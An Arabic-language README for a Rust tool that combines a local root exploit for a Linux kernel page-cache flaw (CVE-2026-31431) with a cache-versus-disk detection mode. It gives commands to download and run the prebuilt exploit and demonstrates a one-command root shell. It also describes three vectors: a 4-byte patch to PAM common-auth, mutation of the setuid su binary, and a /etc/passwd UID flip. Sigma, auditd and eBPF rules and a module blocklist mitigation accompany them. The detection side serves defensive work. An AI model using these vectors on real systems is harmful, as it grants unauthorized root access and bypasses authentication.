
CopyFail (CVE-2026-31431): إثبات مفهوم (PoC) لتصعيد الامتيازات عبر page-cache في نواة لينكس + أداة الكشف العامة الوحيدة. ناقل جديد لتجاوز مصادقة PAM + قواعد Sigma/auditd/eBPF.
PoC متعدد المتجهات + كشف مقترن لـ CVE-2026-31431 (CopyFail). يتضمن متجه تجاوز مصادقة PAM جديدًا لا توفره أي PoC عام آخر. وضع الكشف يلتقط ما لا يمكن لـ AIDE / Wazuh / OSSEC / Tripwire اكتشافه بنيويًا.
ملف ثنائي ثابت واحد. ~108 كيلوبايت. no_std musl.
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#
أمر واحد. قشرة جذر. ضربة PAM القاتلة تحت الغطاء (كتابة واحدة من 4 بايت إلى /etc/pam.d/common-auth)، إسقاط PTY إلى الجذر عبر sudo مع كلمة مرور مهملة. سطر [sudo] password for noot: يظهر للحظة، sudo يعرض دائمًا هذا المطالبة؛ يغذي الثنائي أي سلسلة وفشل pam_unix يتسلسل عبر pam_deny.so المعلّق إلى pam_permit.so → الجذر.
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===
TAMPERED (1):
/etc/pam.d/common-auth [ext4]
cache: 23c4f1ee... ← ما يتم تحميله فعليًا (متحور)
disk: 117dab1c... ← ما تراه AIDE / Wazuh / Tripwire (نظيف)
هذا هو المشروع. القرص نظيف، الكاش متحور. كل FIM عام أعمى. هذه الأداة ليست كذلك.
ملفات ثنائية ثابتة مبنية مسبقًا على إصدار v0.1.0. اختر بنيتك، نزّل، شغّل.
# x86_64 (معظم أجهزة الكمبيوتر المحمولة + خوادم السحابة)
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/copyfail-x86_64-musl
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit
بنى أخرى:
| البنية | الملف |
|---|---|
| ARM64 (aarch64) | copyfail-aarch64-musl |
| ARMv7 (Raspberry Pi 3+) | copyfail-armv7-musleabihf |
تحقق من السلامة:
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/checksums.txt
sha256sum -c checksums.txt
ملفات ثنائية musl ثابتة، بدون تبعيات وقت تشغيل، تعمل على أي Linux.
تحور كاش الصفحات. لا كتابة VFS. لا صفحة قذرة. لا حدث inotify. إعادة الفحص الدورية تتنافس مع الإخلاء.
AIDE/Wazuh/OSSEC/Tripwire/Samhain تقرأ عبر I/O مخزّن → كاش الصفحات → تجزئ البايتات المتحورة كحقيقة. أو بعد الإخلاء، تجزئ القرص النظيف → "لم يحدث أي تغيير أبدًا."
الكشف يتطلب O_DIRECT (تخطي الكاش) + قراءة مخزّنة (الوصول إلى الكاش) + فرق التجزئة. عدم التطابق = توقيع CopyFail. هذا هو --scan.
اختيار تلقائي: --vector auto (افتراضي). يرتب pam > su > passwd حسب التخفي. يتراجع عند الفشل.
--json في كل مكان لاستيعاب SIEM.
detection/:
sigma/copyfail-af-alg.yml، قاعدة Sigma، ضعها في SIEM الخاص بكauditd/copyfail.rules، augenrules --loadebpf/copyfail-trace.bt، سطر bpftrace واحدapparmor/copyfail-block.profile، قاعدة رفض AppArmor 3.0+mitigation/disable-algif.sh، قائمة حظر modprobe + تحذير =yecho "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
أو نواة رئيسية a664bf3d603d (أبريل 2026). حتى الآن: فقط Debian Sid/Forky شحنتها. Ubuntu LTS، RHEL، SUSE، Amazon Linux، Fedora، Arch، Oracle = جميعها قابلة للاستغلال.
ملاحظة: CONFIG_CRYPTO_USER_API_AEAD=y (مدمج) يتجاوز modprobe بصمت. --check يحذر.
بعد الاستغلال + التخفيف: تحور الكاش يستمر حتى إعادة التشغيل. التخفيف يمنع الاستغلالات الجديدة، لا يتراجع عن السابقة.
cargo build --release --target x86_64-unknown-linux-musl
| الهدف | الحجم |
|---|---|
| x86_64-musl | 108 كيلوبايت |
| aarch64-musl | 96 كيلوبايت |
| armv7-musleabihf | 86 كيلوبايت |
no_std. بدون مخصص ذاكرة. بدون تبعيات وقت تشغيل. ملف ثنائي ثابت واحد.
الملفات المبنية مسبقًا ومجاميع SHA256 مرفقة بإصدارات GitHub.
انظر docs/usage.md لأمثلة عملية بشاشة واحدة لكل وضع (استغلال تلقائي/قائمة/الكل، كشف فحص/مسح/خط أساس/فرق/مراقبة/مطاردة).
للنسخة السردية الأطول من هذا README (مزيد من السياق، شرح أعمق)، انظر BLOG.md.
انظر docs/threat-model.md.
أجهزتك الخاصة فقط. بدون بوابة CLI (مسرح أمني). README + LICENSE = الإطار.
وضع الكشف للقراءة فقط. آمن على الإنتاج.
وضع الاستغلال يحور كاش صفحات النواة. ذاكرة فقط لكن عالجه كمدمر. يمنع المصادقة لأي مستدعي لاحق.
CVE-2026-31431 كشفته Theori / Xint في 2026-04-29 (كتابة، مدونة Xint). PoCs عامة سابقة:
هذا المشروع (copyfail-rs): يضيف متجه تجاوز مصادقة PAM، كشف ثنائي الوضع، أدوات IR.
MIT.
a664bf3d603d72548b093ee3 (4.14، أغسطس 2017)| المتجه | الهدف | أين يقع |
|---|
pam (جديد) | /etc/pam.d/common-auth (Debian/Ubuntu) أو system-auth (Fedora/RHEL/Arch) | 4 بايت. auth requisite pam_deny.so → #aut requisite pam_deny.so. sudo بأي كلمة مرور = الجذر. |
su | /usr/bin/su | تحوير نص ثنائي setuid. execve → الجذر. |
passwd | /etc/passwd | قلب UID → المستخدم يصبح جذرًا عند تسجيل الدخول التالي. يكسر SSH لهذا المستخدم. |
| الوضع | ماذا يفعل |
|---|
--check | النواة + الوحدة + CONFIG_CRYPTO_USER_API_AEAD + حالة التخفيف. الحكم: قابل للاستغلال / مخفف / آمن. |
--scan | فرق قراءة O_DIRECT مقابل القراءة المخزّنة على الملفات الحرجة. متفرع عبر statfs(): ext4/xfs/btrfs تستخدم O_DIRECT، overlayfs يتراجع، tmpfs يُتخطى. |
--baseline / --diff | لقطة لحالة نظيفة معروفة. فرق لاحقًا. دلتا الكاش فقط = بصمة CopyFail. |
--watch | خفي. فحص دوري. SIGTERM نظيف. |
--hunt | مسح أسطول SSH. تجميعات JSON. |
| Theori Python | tgies C | badsectorlabs Go | copyfail-rs |
|---|
| المتجهات | su | su + passwd | su | su + passwd + PAM (جديد) |
| الكشف | لا شيء | لا شيء | لا شيء | --mode detect كامل |
| أدوات IR | لا شيء | لا شيء | لا شيء | Sigma + auditd + eBPF + AppArmor |
| تجربة المشغل | 3 أوامر | 4 أوامر | 5 أوامر | أمر واحد |
| الثنائي | يحتاج Python | ~10 كيلوبايت | ~5 ميجابايت | ~108 كيلوبايت ثابت |